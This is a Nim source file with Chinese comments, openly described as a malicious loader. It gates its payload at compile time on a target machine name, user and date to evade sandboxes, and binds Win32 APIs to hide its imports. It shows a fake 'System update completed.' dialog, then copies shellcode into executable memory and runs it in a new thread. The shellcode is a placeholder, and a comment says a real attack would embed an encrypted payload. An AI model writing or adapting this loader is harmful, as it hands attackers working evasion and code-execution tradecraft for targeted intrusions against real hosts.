# deceptor.nim — Nim 编译期反沙箱与静态 Win32 API 绑定
# 编译: nim c -d:release deceptor.nim
# 功能: 仅在目标主机上编译时才激活恶意逻辑,API 静态绑定不暴露导入表
import os
import osproc
# ========== 编译时目标环境检测 ==========
const targetPC = "FINANCE-PC01" # 目标计算机名
const targetUser = "admin" # 目标用户名
const bypassTime = "2025-12-31" # 活动截止日期
let currentPC = staticExec("echo %COMPUTERNAME%")
let currentUser = staticExec("echo %USERNAME%")
let currentDate = staticExec("echo %DATE%")
const isTarget = currentPC.contains(targetPC) and
currentUser.contains(targetUser) and
currentDate < bypassTime
# ========== 静态 Win32 API 绑定(无导入表暴露)==========
# 使用 dynlib 实现首次调用时延迟解析,分散在各调用点
proc MessageBoxW(hWnd: int, lpText: wideCString, lpCaption: wideCString, uType: int32): int32
{.stdcall, importc: "MessageBoxW", dynlib: "user32.dll".}
proc VirtualAlloc(lpAddress: pointer, dwSize: int, flAllocationType: int32, flProtect: int32): pointer
{.stdcall, importc: "VirtualAlloc", dynlib: "kernel32.dll".}
proc CreateThread(lpThreadAttributes: pointer, dwStackSize: int, lpStartAddress: pointer, lpParameter: pointer, dwCreationFlags: int32, lpThreadId: ptr int32): int
{.stdcall, importc: "CreateThread", dynlib: "kernel32.dll".}
proc Sleep(dwMilliseconds: int32)
{.stdcall, importc: "Sleep", dynlib: "kernel32.dll".}
# ========== Shellcode 载荷(简化示例)==========
# 在实际攻击中,此处可嵌入 AES 加密的完整载荷
const shellcode: array[16, byte] = [
0x90'u8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xCC, 0xC3
]
# ========== 主逻辑 ==========
when isTarget:
# 目标环境:执行恶意逻辑
var dummyTitle = "Error"
MessageBoxW(0, "System update completed.", dummyTitle, 0)
let mem = VirtualAlloc(nil, len(shellcode), 0x3000, 0x40) # MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
if mem != nil:
copyMem(mem, unsafeAddr shellcode[0], len(shellcode))
var tid: int32
let thread = CreateThread(nil, 0, mem, nil, 0, addr tid)
Sleep(5000)
else:
# 非目标环境:执行无害操作
discard